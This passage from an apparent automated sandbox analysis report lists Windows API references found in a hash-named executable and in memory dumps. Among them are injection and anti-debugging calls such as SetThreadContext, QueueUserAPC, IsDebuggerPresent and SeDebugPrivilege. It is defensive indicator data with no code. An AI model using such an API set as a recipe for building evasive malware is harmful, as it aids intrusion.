"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetFilePointer"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetOverlappedResult"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CancelIoEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateFileA"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetThreadGroupAffinity"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetLastError"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetSystemDefaultLCID"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetThreadContext"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetThreadGroupAffinity"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "HeapCreate"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "WaitForMultipleObjectsEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CloseThreadpoolTimer"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ResumeThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "TlsSetValue"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "WerRegisterRuntimeExceptionModule"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetCurrentThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CopyContext"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LCMapStringEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetFileSize"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateSemaphoreExW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetThreadIdealProcessorEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GlobalMemoryStatusEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "OutputDebugStringA"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FindClose"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "UnmapViewOfFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "InterlockedPushEntrySList"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetStdHandle"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ReleaseMutex"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "TerminateProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateProcessW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "OpenEventW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ActivateActCtx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "DisconnectNamedPipe"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "DebugBreak"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LocateXStateFeature"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetTickCount64"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetThreadpoolTimer"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetEnabledXStateFeatures"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetSystemTime"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "QueueUserAPC"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetThreadPriority"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateThreadpoolTimer"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "InterlockedFlushSList"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "DecodePointer"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SignalObjectAndWait"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetStringTypeExW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetExitCodeThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "HeapAlloc"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateFileMappingA"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CloseHandle"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateNamedPipeA"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ResetEvent"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "HeapDestroy"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetProcessGroupAffinity"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetLastError"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "K32GetProcessMemoryInfo"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ExitProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VirtualProtect"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RaiseException"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetThreadAffinityMask"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetLargePageMinimum"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "MapViewOfFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetNumaProcessorNodeEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RtlUnwind"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetThreadContext"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LocalFree"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VerSetConditionMask"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetActiveProcessorGroupCount"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetNumaHighestNodeNumber"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateActCtxW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "IsWow64Process"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetXStateFeaturesMask"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VirtualQuery"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetThreadPriority"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateFileMappingW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FreeLibrary"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateEventW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateFileW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "FlushProcessWriteBuffers"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RtlAddFunctionTable"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetThreadErrorMode"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "TlsFree"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SuspendThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetTickCount"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VirtualUnlock"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "WriteFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "InterlockedPopEntrySList"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetFileSizeEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SleepEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ReadFile"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetACP"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetCurrentProcessorNumberEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "QueryInformationJobObject"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VirtualAllocExNuma"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SetThreadIdealProcessorEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "TlsAlloc"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ConnectNamedPipe"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetCPInfo"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VariantClear"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SysFreeString"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VariantInit"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SysAllocStringLen"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SysStringLen"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "GetErrorInfo"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "VariantChangeType"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SysAllocString"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SafeArrayGetLBound"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SafeArrayPutElement"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "ShellExecuteW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "LoadStringW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "MessageBoxW"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CoCreateFreeThreadedMarshaler"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CoGetClassObject"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CoInitializeEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CoReleaseMarshalData"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CreateStreamOnHGlobal"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CoCreateGuid"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CoUninitialize"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CoMarshalInterface"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CoTaskMemAlloc"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "SeDebugPrivilege"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00001200.00000000.240807.413A0000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfoExW"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "ReadConsole"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp") Found reference to API (Indicator: "WriteConsole"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 